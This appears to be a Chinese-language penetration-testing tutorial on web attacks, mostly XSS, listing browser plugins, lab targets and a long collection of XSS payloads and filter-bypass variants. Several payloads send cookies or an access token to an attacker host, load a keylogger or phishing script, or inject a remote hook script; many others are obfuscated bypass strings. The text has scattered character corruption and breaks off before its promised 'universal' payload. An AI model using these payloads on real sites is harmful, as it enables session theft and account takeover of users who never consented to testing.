渗透测试 2 --- XSS、CSRF、文件上传、文件包含、反序列化漏洞
1、滲透測試 實用 瀏覽器插件
chrome、edge 插件:搜索 cookie,安裝 cookie editor,打開插件,可以 導出 cookie
- HackBar :Hackbar是網(wǎng)絡安全學習者常備的工具 (?https://www.fujieace.com/hacker/tools/hackbar.html )。
?解決Firefox插件-Hackbar的許可證問題:https://blog.csdn.net/qq_45755030/article/details/119515945
hackbar-2.3.1-學習版:https://fengwenhua.top/index.php/archives/43/ - retire.js :掃描 Web 應用程序以使用易受攻擊的JavaScript庫。retire.js的目標是幫助檢測具有已知漏洞的版本的使用。
- Wappalyzer:能夠分析目標網(wǎng)站所采用的平臺構架、網(wǎng)站環(huán)境、服務器配置環(huán)境、JavaScript框架、編程語言等參數(shù)的chrome網(wǎng)站技術分析插件。
- Proxy SwitchyOmega:自動切換代理
- FoxyProxy:firefox 自動切換代理
- d3coder:可以點擊右鍵快速進行相應字符的解碼操作,減少了輾轉(zhuǎn)各個解碼網(wǎng)站的時間。
- OneTab:在平時的滲透測試過程中常常會打開大量的網(wǎng)頁 ,此工具可以將網(wǎng)頁聚合在一個標簽列表下
- cookie editor:導出和導入 cookie
- Penetration Testing Kit:PTK儀表盤允許您分析客戶端/服務器端技術并檢查任何第三方庫以獲取現(xiàn)有的CVE,例如已知的漏洞。同時,它使您可以在瀏覽應用程序時快速訪問有關所有框架和請求的信息。
- Quick Javascript Switcher:一鍵 開啟 / 關閉 js
- Hack-Tools:是一款針對Web應用程序滲透測試的Web擴展,其中包含了大量測試工具,比如說XSS Payload和反向Shell等等。
- Shodan:顯示網(wǎng)站在哪(國家、城市)、誰擁有 IP 以及哪些其他服務/端口是開放的。
對于 Chrome 下載插件,有兩種方法:
- 方法 1:"高科技上網(wǎng)",然后應用商店搜索插件,安裝
- 方法 2:使用 edge 下載插件,然后找到插件目錄,再導入 Chrome
常見 web 攻擊
常見的web攻擊及預防:https://cloud.tencent.com/developer/article/1592289
十種常見的web攻擊:https://zhuanlan.zhihu.com/p/140932186
XSS
CSRF
SQL 注入
文件上傳漏洞
命令行注入
DDoS 攻擊
- SYN Flood 攻擊、
- ACK Flood 攻擊、
- UDP Flood 攻擊、
- ICMP Flood 攻擊、
- CC 攻擊、
- DNS Flood、
- HTTP 慢速連接攻擊
- 等等
流量劫持 --- DNS 劫持
流量劫持 --- HTTP 劫持
服務器漏洞 --- 越權操作漏洞
服務器漏洞 --- 目錄遍歷漏洞
服務器漏洞 --- 物理路徑泄露
服務器漏洞 --- 源碼暴露漏洞
2、XSS : Cross Site Script
相關知識
http 協(xié)議
客戶端的 cookie
服務端的 session
JavaScript 操作 cookie
腳本注入網(wǎng)頁 xss
獲得 cookie 發(fā)送郵件
xss 靶場練習
xss 平臺搭建
xss 檢測和利用
xss 防御方法
xss 闖關游戲
OWASP TOP 10(二)XSS漏洞(概述、PoC、分類、構造、變形繞過、XSS-Filter、xsser、xsstrike):https://blog.csdn.net/weixin_45677119/article/details/111164997
XSS 定義、原理
?:https://www.bilibili.com/video/BV1jL4y1j7i6?p=7
跨站腳本(英語:Cross-site scripting,通常簡稱為:XSS)是一種網(wǎng)站應用程序的安全漏洞攻擊,是代碼注入的一種。它允許惡意用戶將代碼注入到網(wǎng)頁上,其他用戶在觀看網(wǎng)頁時就會受到影響。這類攻擊通常包含了 HTML 以及用戶端腳本語言。 XSS 攻擊通常指的是通過利用網(wǎng)頁開發(fā)時留下的漏洞,通過巧妙的方法注入惡意指令代碼到網(wǎng)頁,使用戶加載并執(zhí)行攻擊者惡意制造的網(wǎng)頁程序。這些惡意網(wǎng)頁程序通常是 JavaScript,但實際上也可以包括 Java,VBScript,ActiveX,Flash 或者甚至是普通的 HTML。攻擊成功后,攻擊者可能得到更高的權限(如執(zhí)行一些操作)、私密網(wǎng)頁內(nèi)容、會話和 cookie 等各種內(nèi)容。
簡而言之,現(xiàn)在的網(wǎng)頁基本是由 html+css+javascript 組成,普通用戶輸入的是文本信息,而黑客輸入的內(nèi)容則有可能是 javascript 代碼,當用戶訪問頁面的時候,代碼就會執(zhí)行,這個時候就達到了攻擊的目的。
一句話概括:操縱用戶客戶端執(zhí)行任意js腳本,腳本能實現(xiàn)什么功能,xss 就可以做什么。
注意:cookie 不能跨域名
一個 XSS 攻擊的示意:
上圖先使用 Chrome 瀏覽器進行正常和非正常留言,Chrome 瀏覽器自動檢測出 XSS 攻擊,屏蔽了請求。然后打開 IE8,執(zhí)行同樣的操作,IE8 成功受到了攻擊。
以上 GIF 所展示的,是一個用戶將文本框的信息提交 form 表單到后臺,后臺反饋到前臺進行留言展示的場景。表單提交代碼如下:
<form role="form" method="post"><div class="form-group"><label>輸入內(nèi)容</label><br /><textarea id="text" name="text"></textarea></label></div><button id="btn" type="submit" class="btn btn-default">提交</button> </form><label>展示內(nèi)容</label> <div id="show" class="col-md-4">{{text | safe}}<!--這里是nunjucks模板的展示寫法,由后臺賦值text變量--> </div><script>$("#btn").click(function() {$.ajax({type: "POST",url: "/index",cache: false,data: {"text": $("#text").text()},success: function(msg) {}});}) </script>前臺表單提交到后臺服務器,可以直接使用 form 表單提交,也可以使用 ajax 提交的方式。后臺代碼可以選擇任意語言實現(xiàn)( java、php 或者 nodejs 等均可 ),這里使用的 nodejs 代碼,thinkjs3 的框架,后臺代碼如下:
//index.js const Base = require('./base.js');module.exports = class extends Base {indexAction() {if(this.isGet) {//如果是Get請求,直接顯示前臺頁面return this.display();} else if(this.isPost) {//如果是Post請求,賦值nunjucks模板中的text變量,再進行頁面展示let post = this.post();this.assign("text", post.text);return this.display();}} };這里只是一個比較輕微的彈出警告框的攻擊,但如果攻擊代碼是:
<script type=text/javascript>window.location = "http://黑客IP:8360/getcookie?cookie="+document.cookie</script>
則會將用戶的 cookie 信息發(fā)送到黑客那里,而用戶的 cookie 信息中很可能含有用戶名和密碼等重要信息,后果不堪設想。
XSS 基本分類
1. 存儲型 xss
2. 反射型 xss
3. Dom 型 xss
4. Self 型 xss
存儲型和反射型
- 存儲型 XSS:存儲型XSS,持久化,代碼是存儲在服務器中的,如在個人信息或發(fā)表文章等地方,加入代碼,如果沒有過濾或過濾不嚴,那么這些代碼將儲存到服務器中,用戶訪問該頁面的時候觸發(fā)代碼執(zhí)行。這種XSS比較危險,容易造成蠕蟲,盜竊cookie(雖然還有種DOM型XSS,但是也還是包括在存儲型XSS內(nèi))。
- 反射型 XSS:非持久化,需要欺騙用戶自己去點擊鏈接才能觸發(fā)XSS代碼(服務器中沒有這樣的頁面和內(nèi)容),一般容易出現(xiàn)在搜索頁面。
XSS 靶場 ( DVWA、pikachu、在線靶場?)
?DVWA 靶場安裝和設置:https://www.bilibili.com/video/BV1jL4y1j7i6?p=9
pikachu 靶場安裝和設置 (?https://www.bilibili.com/video/BV1jL4y1j7i6?p=10 ),把?ip 地址改成自己服務器的 ip ?
?在線 靶場 ( 網(wǎng)上有很多在線靶場?):https://xss.angelo.org.cn/level1.php?name=test
xss 靶場大通關:https://www.cnblogs.com/cute-puli/p/10834954.html
XSS payload
關鍵字:xss payload
XSS payload:https://www.jianshu.com/p/0cb3d4354c85
XSS payload 大全:https://www.cnblogs.com/xiaozi/p/7268506.html
cookie 攻擊 payload?
<script>document.location="http://192.168.0.6/pikachu_master/pkxss/xcookie/cookie.php?cookie="+document.cookie;</script>
釣魚 攻擊 payload
<script src="http://192.168.0.6/pikachu_master/pkxss/xfish/xfish.php"></script>
記錄鍵盤 攻擊 payload
<script src="http://192.168.0.6/pikachu_master/pkxss/rkeypress/rk.js"></script>
<iframe src="../csrf" οnlοad=alert(frames[0].document.getElementsByName('user_token')[0].value)>
常用
- <script>alert(/xss/)</script>
- <svg onload=alert(document.domain)>
- <img src=document.domain onerror=alert(document.domain)>
- <img src="javascript:alert('XSS')">
- <img src="" onerror=alert("XSS")> ?// 如果 script 標簽被屏蔽,可以使用其他標簽
- <M onmouseover=alert(document.domain)>M
- <marquee onscroll=alert(document.domain)>
- <a href=javascript:alert(document.domain)>M</a>
- <body onload=alert(document.domain)>
- <details open ontoggle=alert(document.domain)>
- <embed src=javascript:alert(document.domain)>
把前面的標簽進行閉合 ( 只要尖括號閉合,里面的內(nèi)容對錯不用管?),然后跟上 JavaScript 代碼
<script>alert("XSS")</script>
<script>alert(document.cookie)</script>
><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
"><script>alert(document.cookie)</script>
"><a href="javascript:alert:alert(/xss/)">click</a>
URL 編碼 ( 是 URL 編碼,不是 HTML 編碼?)
- %3Cscript%3Ealert('XSS')%3C/script%3E
在線 URL 編碼、HTML 編碼:https://www.bt.cn/tools/encryhtml.html
大小寫繞過
- <script>alert(1)</script>
- <sCrIpT>alert(1)</sCrIpT>
- <ScRiPt>alert(1)</ScRiPt>
- <sCrIpT>alert(1)</ScRiPt>
- <ScRiPt>alert(1)</sCrIpT>
- <img src=1 onerror=alert(1)>
- <iMg src=1 oNeRrOr=alert(1)>
- <ImG src=1 OnErRoR=alert(1)>
- <img src=1 onerror="alert("M")">
- <marquee onscroll=alert(1)>
- <mArQuEe OnScRoLl=alert(1)>
- <MaRqUeE oNsCrOlL=alert(1)>
關鍵字替換
- <sc<script>ript>alert("XSS")</script>
各種 alert
- <script>alert(1)</script>
- <script>confirm(1)</script>
- <script>prompt(1)</script>
- <script>alert('1')</script>
- <script>alert("1")</script>
- <script>alert`1`</script>
- <script>(alert)(1)</script>
- <script>a=alert,a(1)</script>
- <script>[1].find(alert)</script>
- <script>top["al"+"ert"](1)</script>
- <script>top["a"+"l"+"e"+"r"+"t"](1)</script>
- <script>top[/al/.source+/ert/.source](1)</script>
- <script>top[/a/.source+/l/.source+/e/.source+/r/.source+/t/.source](1)</script>
偽協(xié)議
- <a href=javascript:/0/,alert(%22M%22)>M</a>
- <a href=javascript:/00/,alert(%22M%22)>M</a>
- <a href=javascript:/000/,alert(%22M%22)>M</a>
- <a href=javascript:/M/,alert(%22M%22)>M</a>
Chrome XSS auditor bypass
- ?param=https://¶m=@z.exeye.io/import%20rel=import%3E
- <base href=javascript:/M/><a href=,alert(1)>M</a>
- <base href=javascript:/M/><iframe src=,alert(1)></iframe>
長度限制
<script>s+="l"</script>
\...
<script>eval(s)</script></pre>
jquery sourceMappingURL
</textarea><script>var a=1//@ sourceMappingURL=//xss.site</script>
圖片名
"><img src=x onerror=alert(document.cookie)>.gif
過期的 payload
- src=javascript:alert 基本不可以用
- css expression 特性只在舊版本 ie 可用
css
<div style="background-image:url(javascript:alert(/xss/))">
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE></pre>
markdown
[a](javascript:prompt(document.cookie))
[a](j ? ?a ? v ? a ? s ? c ? r ? i ? p ? t:prompt(document.cookie))
<javascript:alert('XSS')>

[notmalicious](javascript:window.οnerrοr=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)
</pre>
iframe
<iframe οnlοad='
? ? var sc ? = document.createElement("scr" + "ipt");
? ? sc.type ?= "text/javascr" + "ipt";
? ? sc.src ? = "http://1.2.3.4/js/hook.js";
? ? document.body.appendChild(sc);
? ? '
/>
- <iframe src=javascript:alert(1)></iframe>
- <iframe src="data:text/html,<iframe src=javascript:alert('M')></iframe>"></iframe>
- <iframe src=data:text/html;base64,PGlmcmFtZSBzcmM9amF2YXNjcmlwdDphbGVydCgiTWFubml4Iik+PC9pZnJhbWU+></iframe>
- <iframe srcdoc=<svg/onload=alert(1)>></iframe>
- <iframe src=https://baidu.com width=1366 height=768></iframe>
- <iframe src=javascript:alert(1) width=1366 height=768></iframe
form
- <form action=javascript:alert(1)><input type=submit>
- <form><button formaction=javascript:alert(1)>M
- <form><input formaction=javascript:alert(1) type=submit value=M>
- <form><input formaction=javascript:alert(1) type=image value=M>
- <form><input formaction=javascript:alert(1) type=image src=1>
meta
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
其他一些奇怪的標簽
<video data-automation="FootageHero_heroVideo_video" loop="" autoplay="" class="u_c_8bdc3"><source src="https://ak.picdn.net/footage/assets/directors_choice/footage-carousel-stock-videos.webm" type="video/webm"><source src="https://ak.picdn.net/footage/assets/directors_choice/footage-carousel-stock-videos.mp4" type="video/mp4"></video>
#第一類:Javascript URL
<a href="javascript:alert('test')">link</a>
<a href="javascript:alert('xss')">link</a>
<a href='vbscript:MsgBox("XSS")'>link</a>
<a href="vbscript:alert(1)">Hello</a>
<a href="vbscript:alert(1)">Hello</a>
<a href=javascript:alert("XSS")>link</a>
<a href=`javascript:alert("RSnake says,'XSS'")`>link</a>
<a href=javascript:alert(String.fromCharCode(88,83,83))>link</a>
<a href="javascript:alert(1)">link</a>
<a href="javaSCRIPT:alert(1)">Hello</a>
<a href="javasc
ript:alert(1)">link</a>?
<a href="javas	cript:\u0061lert(1);">Hello</a>
<a href="jav ? ?ascript:alert('XSS')">link</a>
<a href="jav	ascript:alert('XSS')">link</a>
<a href="jav
ascript:alert('XSS')">link</a>
<a href=" ?javascript:alert('XSS');">link</a>
<a href="javascript:\u0061lert(1)">Hello</a>
<a href="javascript:confirm`1`">link</a>
<a href="javascript:confirm(1)">link</a>
<a href="j	a	vas	c	r	ipt:alert(1)">1</a>
<a href="javascript:%61%6c%65%72%74%28%31%29">link</a>
<a href="javascript:\u0061\u006C\u0065\u0072\u0074(1)">link</a>
<a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>2</a>
<a href=javascript:eval("alert('xss')")>link</a> ?
<a href=javascript:alert('XSS')>link</a>
<a href=javascript:alert('XSS')>link</a>
<a href=javascript:alert('XSS')>link</a>
<a href="data:text/html;base64,amF2YXNjcmlwdDphbGVydCgxKQ==">test</a>?
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+>1</a>
<iframe/src="data:text/html;	base64
,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
#第二類:CSS import
<style>@import url("http://attacker.org/malicious.css");</style>
<style>@imp\ort url("http://attacker.org/malicious.css");</style>
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<STYLE>@import'http://jb51.net/xss.css';</STYLE>
#第三類:Inline style
<div style="color: expression(alert('XSS'))">
<div style=color:expression\(alert(1))></div>?
<div style="color: '<'; color: expression(alert('XSS'))">
<div style=X:expression(alert(/xss/))>
<div style="x:\65\78\70\72\65\73\73\69\6f\6e(alert(1))">
<div style="x:\000065\000078\000070\000072\000065\000073\000073\000069\00006f\00006e(alert(1))">
<div style="x:\65\78\70\72\65\73\73\69\6f\6e\028 alert \028 1 \029 \029">
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<div style="z:exp/*anything*/res/*here*/sion(alert(1))">
<div style=xss:expr/*XSS*/ession(alert('XSS'))>
</XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
</XSS/*-*/STYLE=xss:e/**/xpression(window.location="http://www.baidu.com")>?
<img STYLE="background-image:url(javascript:alert('XSS'))"> //ie6 ?
<img STYLE="background-image:\75\72\6c\28\6a\61\76\61\73\63\72\69\70\74\3a\61\6c\65\72\74\28\27\58\53\53\27\29\29">?
<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
#第四類:JavaScript 事件
<div οnclick="alert('xss')">
<div οnmοuseenter="alert('xss')">
<div onclick ="alert('xss')">
<BODY ONLOAD=alert('XSS')>
<img src=1 οnerrοr=alert(1)>
<img/src='1'/οnerrοr=alert(0)>
<img src="1" οnerrοr="alert(1)" />
<img src=1 alt=al lang=ert οnerrοr=top[alt+lang](0)>
<img src="1" οnerrοr=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
<img src=1 οnmοuseοver=alert('xss') a1=1111>?
<img src=x οnerrοr=s=createElement('script');body.appendChild(s);s.src='http://t.cn/R5UpyOt';>
<a href="#" οnclick=alert('\170\163\163')>test</a>
<a href="#" οnclick="\u0061\u006C\u0065\u0072\u0074(1)">link</a>
<a href="#" οnclick="\u0061\u006C\u0065\u0072\u0074`a`">link</a>
<a href="#" οnclick="alert('xss')">link</a>
<marquee οnscrοll=alert(1)> test</marquee>
<div ?style="width:100px;height:100px;overflow:scroll" οnscrοll="alert('a')">123456 <br/><br/><br/><br/><br/></div>
<DIV onmousewheel="alert('a')" >123456</DIV><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/>
<div style="background-color:red" οnmοuseenter="alert('a')">123456</div>
<DIV οnmοuseleave="alert('1')">123456</DIV>
<div contentEditable="true" style="background-color:red" οnfοcusin="alert('a')" >asdf</div>
<div contentEditable="true" style="background-color:red" οnfοcusοut="alert('bem')" >asdf</div>
<marquee onstart="alert('a')" >asdf</marquee>
<div style="background-color:red;" onbeforecopy="alert('a')" >asdf</div>
<div style="background-color:red;" onbeforecut="alert('a')" >asdf</div>
<div style="background-color:red;" contentEditable="true" onbeforeeditfocus="alert('a')" >asdf</div>
<div style="background-color:red;" ="true" onbeforepaste="alert('a')" >asdf</div>
<div style="background-color:red;" οncοntextmenu="alert('a')" >asdf</div>
<div style="background-color:red;" οncοpy="alert('a')" >asdf</div>
<div contentEditable="true" style="background-color:red;" oncut="alert('a')" >asdf</div>
<div style="background-color:red;" οndrag="alert('1')" >asdf</div>
<div style="background-color:red;" οndragend="alert('a')" >asdf</div>
<div style="background-color:red;" οndragenter="alert('b')" >asdf</div>
<div contentEditable="true" style="background-color:red;" οndragleave="alert('a')" >asdf</div>
<div contentEditable="true" style="background-color:red;" οndragοver="alert('b')" >asdf</div>
<div contentEditable="true" style="background-color:red;" οndragstart="alert('a')" >asdf</div>
<div contentEditable="true" style="background-color:red;" οndrοp="alert('b')" >asdf</div> <div contentEditable="true" style="background-color:green;" οndrοp="alert('bem')" >asdf</div>
<div contentEditable="true" style="background-color:red;" onlosecapture="alert('b')">asdf</div>
<div contentEditable="true" style="background-color:red;" οnpaste="alert('a')" >asdf</div>
<div contentEditable="true" style="background-color:red;" onselectstart="alert('a')" >asdf</div>
<div contentEditable="true" style="background-color:red;" onhelp="alert('a')" >asdf</div>
<div STYLE="background-color:red;behavior:url('#default#time2')" onEnd="alert('a')">asdf</div>
<div STYLE="background-color:red;behavior:url('#default#time2')" onBegin="alert('a')">asdf</div>
<div contentEditable="true" STYLE="background-color:red;" onactivate="alert('b')">asdf</div>
<div contentEditable="true" STYLE="background-color:red;filter: Alpha(opacity=100, style=2);"onfilterchange="alert('b')">asdf</div>
<div contentEditable="true" onbeforeactivate="alert('b')">asdf</div>
<div contentEditable="true" onbeforedeactivate="alert('a')">asdf</div>
<div contentEditable="true" ondeactivate="alert('bem')">asdf</div>
<video src="http://www.w3schools.com/html5/movie.ogg" onloadedmetadata="alert(1)" />
<video src="http://www.w3schools.com/html5/movie.ogg" οnlοadstart="alert(1)" />
<audio src="http://www.w3schools.com/html5/movie.ogg" οnlοadstart="alert(1)">
<audio src="http://www.w3schools.com/html5/movie.ogg" οnlοadstart="alert(1)"></audio>
<body οnscrοll=alert(26)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<input type="hidden" accesskey="X" οnclick="alert(/xss/)">
#第五類:Script 標簽
<script src="http://baidu.com"></script><script>Function(atob('YWxlcnQoInhzcyIp'))()</script>
<script>alert("XSS")</script>
<scr<script>ipt>alert("XSS")</scr<script>ipt>
<SCRIPT>a=/XSS/ alert(a.source)</SCRIPT>
<script>alert(/1/.source)</script>
<script>alert(1);</script>
<script>prompt(1);</script>
<script>confirm(1);</script>
<script>alert(/88199/)</script>
<script>alert(`a`)</script>
<script>alert('a')</script>
<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<script>eval(alert(1))</script>
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 50, 51, 41))</script>
<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")</script>
<script>eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')</script>
<script>setTimeout('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')</script>
<script>setTimeout(alert(1),0)</script>
<script>setTimeout`alert\x28\x27 xss \x27\x29`</script>
<script>setInterval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')</script>
<script src=data:text/javascript,alert(1)></script>
<script src=data:text/javascript,alert(1)></script>
<script>\u0061\u006C\u0065\u0072\u0074(123)</script>
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
<script>\u0061\u006C\u0065\u0072\u0074`a`</script>
<script>window['alert'](0)</script>
<script>parent['alert'](1)</script>
<script>self['alert'](2)</script>
<script>top['alert'](3)</script>
<!--[if]><script>alert(1)</script ? ? -->
<script>alert("xss");;;;;;;;;;;;;;;;; ? ?;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>
<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
一些常用小技巧
在挖掘xss漏洞時,經(jīng)常會遇到各類過濾手段,比如將<>進行html實體編碼,單雙引號過濾,空格過濾,關鍵字過濾等等
1. 編碼繞過:
? ? url編碼繞過
? ? unicode編碼繞過
? ? html實體編碼繞過:實體編碼繞過需要結(jié)合<svg></svg>標簽使用,否則利用的失敗率比較高
2. 換行繞過
? ? 使用%0A進行關鍵字繞過
3. 利用全局變量繞過
? ? Self,window等等
? ? c=0;for(i in self){if(/^a[rel]+t$/.test(i)){self[Object.keys(self)[c]](1)}c++;};
4. 關鍵字繞過
? ? Alert被過濾了可以使用下面的進行彈窗
? ? <script>prompt(“1”);</script>
? ? <script>confirm(1);</script>
1. <script>new Image().src='http://localhost/cookie.php?c='+localStorage.getItem('access_token');</script>
2.<img src=x οnerrοr=alert(1)>
3. Б='',Д=!Б+Б,И=!Д+Б,Ж=Б+{},Щ=Д[Б++],З=Д[Л=Б],Ю=++Л+Б,Ф=Ж[Л+Ю],Д[Ф+=Ж[Б]+(Д.И+Ж)[Б]+И[Ю]+Щ+З+Д[Л]+Ф+Щ+Ж[Б]+З][Ф](И[Б]+И[Л]+Д[Ю]+З+Щ+"(Б)")();
5. 一些奇形怪狀的xss的payload ( 使用其他語言編碼后的 js )
6. <script>alert(document.cookie);</script>
7. <svg/οnlοad=alert(1)>
8. <a href=”javascript:alert(1);”>test</a>
萬能 xss payload
關鍵字:萬能 xss payload
終極萬能XSS Payload:https://blog.csdn.net/qq_39997096/article/details/114646308
漏洞進階之 --- XSS萬能超級無敵全通殺payload:https://blog.csdn.net/LizePing_/article/details/118581289
在進行跨站腳本攻擊的時候(xss),通常會需要我們通過插入的代碼場景構造 payload。就比較耗費時間,為了更方便的去測試漏洞,萬能 XSS payload 就出現(xiàn)了
什么是萬能 XSS payload:
這里對它的定義就是可以適應各種場景進行 js 代碼執(zhí)行的 payload,只需要有這一條 payload 即可(例如閉合html 閉合js)
下面我們來看看 payload長什么樣子:
